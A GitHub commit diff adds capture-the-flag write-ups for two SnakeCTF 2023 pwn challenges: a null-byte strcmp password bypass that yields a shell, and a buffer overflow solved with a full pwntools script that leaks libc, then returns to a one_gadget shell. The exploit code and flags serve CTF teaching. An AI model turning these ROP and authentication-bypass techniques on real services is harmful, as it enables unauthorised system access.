Skip to content

Commit

Permalink
Added pwn writeups for SnakeCTF23
Browse files Browse the repository at this point in the history
  • Loading branch information
daisydaisyyy authored Dec 11, 2023
1 parent 8f4d414 commit 4727eac
Showing 1 changed file with 82 additions and 1 deletion.
83 changes: 82 additions & 1 deletion _posts/2023-12-10-SnakeCTF.md
Original file line number Diff line number Diff line change
Expand Up @@ -514,14 +514,95 @@ Let's change the location with the following and ask for a new preview:
> We don't really understand it, but I'm sure that it's secure! We don't know the password either, after all!<br><br>
> nc pwn.snakectf.org 1337
This challenge gives us a binary file which checks for a password:

```c
if ( read(0, s1, 128uLL) <= 0 )
err(1, "read broken lol");
if ( !strcmp(s1, (const char *)buf) )
{
puts(&s);
get_shell();
}
```
the error is obviously in the use of strcmp, as it stops when it finds a null byte,
so to bypass the check we just need to send null bytes and the program will authenticate us as if the password is correct:
```python
r.sendline(b'\x00' * 128)
```

And we get the shell!

🏁 _snakeCTF{h1pp17y\_h0pp17y\_7h47'5\_my\_pr0p3r7y}_{:.spoiler}

## obligatory bof

> Well, you gotta do what you gotta do!<br><br>
> nc pwn.snakectf.org 1338
🏁 _snakeCTF{}_{:.spoiler}
this is the decompiled code:

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf[4]; // [rsp+0h] [rbp-20h] BYREF

buf[0] = 0LL;
buf[1] = 0LL;
buf[2] = 0LL;
buf[3] = 0LL;
init(argc, argv, envp);
printf("Well, just tell me what to do: ");
read(0, buf, 256uLL);
puts("Ok, got it!");
return 0;
}
```
We can see that read() is vulnerable to buffer overflow, and if we look with checksec, we see that no protections are active except for NX.
Also, you can find the libc version used by checking inside the docker environment.
The way to solve this is to exploit the bof two times:
get a libc leak by printing a got address and calculate libc base address, then return to main and exploit the bof again to return to one_gadget that will call system("/bin/sh").
Here is the script:
```python
def main():
offset = 40
rop = ROP(exe)
# bof to leak libc
payload = flat(
'A' * offset,
p64(rop.find_gadget(['pop rdi', 'ret']).address),
p64(exe.got.puts),
p64(exe.plt.puts),
p64(exe.sym.main)
)
sl(payload)
ru("it!\n")
leak = u64(rl()[:-1] + b'\x00' * 2) # libc leak
libc.address = leak - libc.sym.puts # find libc base addr
rop2 = ROP(libc)
# ret2 one_gadget after setting constraints
payload2 = flat(
'A' * offset,
p64(rop2.find_gadget(['pop r15', 'ret']).address),
p64(0),
p64(rop2.find_gadget(['pop r12', 'ret']).address),
p64(0),
p64(libc.address + 0xe3afe) # one gadget
)
sl(payload2)
r.interactive()
```

🏁 _snakeCTF{w3lc0m3_70_5n4k3c7f_pwn3r}_{:.spoiler}

# OSINT

Expand Down

0 comments on commit 4727eac

Please sign in to comment.